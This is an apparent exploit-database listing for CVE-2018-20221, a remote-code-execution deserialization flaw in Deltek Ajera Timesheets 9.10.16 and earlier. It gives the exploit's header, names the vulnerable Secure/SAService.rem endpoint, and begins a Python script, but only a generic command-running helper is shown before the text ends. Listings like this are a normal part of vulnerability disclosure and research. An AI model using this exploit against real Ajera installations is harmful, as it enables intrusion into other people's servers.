Ajera timesheets 9.10.16 deserialization of untrusted data Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-01-07 |
Type : webapps |
Platform : windows
This exploit / vulnerability Ajera timesheets 9.10.16 deserialization of untrusted data is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#
def run_command(command):
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = b''
for line in iter(p.stdout.readline, b''):
output += line